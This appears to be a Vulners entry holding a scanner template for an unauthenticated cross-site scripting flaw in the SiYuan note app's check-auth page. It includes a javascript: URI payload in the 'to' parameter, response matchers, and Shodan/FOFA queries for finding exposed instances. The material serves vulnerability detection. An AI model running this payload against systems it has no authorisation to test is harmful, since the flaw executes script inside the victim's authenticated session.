SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-116167 | 25 Oct 202613:46 | – | circl | |
| SiYuan cross-site scripting vulnerability | 25 Oct 202600:00 | – | cnnvd | |
| CVE-2026-116167 | 25 Oct 202613:20 | – | cve | |
| CVE-2026-116167 SiYuan 2.9.0 before 3.8.7 XSS via check-auth to Parameter | 25 Oct 202613:20 | – | cvelist | |
| EUVD-2026-109428 | 25 Oct 202613:20 | – | euvd | |
| CVE-2026-116167 | 25 Oct 202614:16 | – | nvd | |
| PT-2026-123008 | 25 Oct 202600:00 | – | ptsecurity | |
| CVE-2026-116167 SiYuan 2.9.0 before 3.8.7 XSS via check-auth to Parameter | 25 Oct 202613:20 | – | vulnrichment |
id: CVE-2026-116167
info:
name: SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter
author: kosoyyagent
severity: high
description: |
SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.
impact: |
Script executes in the authenticated kernel origin and can invoke same-origin kernel APIs to read or modify workspace content and settings with the victim's session.
remediation: |
Update to SiYuan 3.8.7 or later, which routes the `to` value through safeRedirectTarget and only allows same-origin destinations.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmj3-xc2f-6w4w
- https://www.vulncheck.com/advisories/siyuan-2.9.0-before-3.8.7-xss-via-check-auth-to-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2026-116167
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
cvss-score: 7.6
cve-id: CVE-2026-116167
epss-score: 0.0025
epss-percentile: 0.16371
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: siyuan-note
product: siyuan
shodan-query: 'http.html:"siyuan"'
fofa-query: 'body="siyuan"'
tags: cve,cve2026,siyuan,xss,unauth
http:
- raw:
- |
GET /check-auth?to=javascript:alert(document.domain) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(to_lower(body), "siyuan")'
- 'contains(body, "searchParams.get(\"to\")")'
- 'contains(body, "location.href = url.searchParams.get") || contains(body, "location.href = toPath")'
- '!contains(body, "safeRedirectTarget")'
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a004830460221008d0759a12810594fc93c8b99d4903170532c53a0b835ee25f2266ff89215ad25022100c63e957c5b3c97f89577723f72bd7b583283b92fcdcd8e7ba9ee5573246460f2:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2026 12:29Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.8
CVSS 47.6
EPSS0.00656
SSVC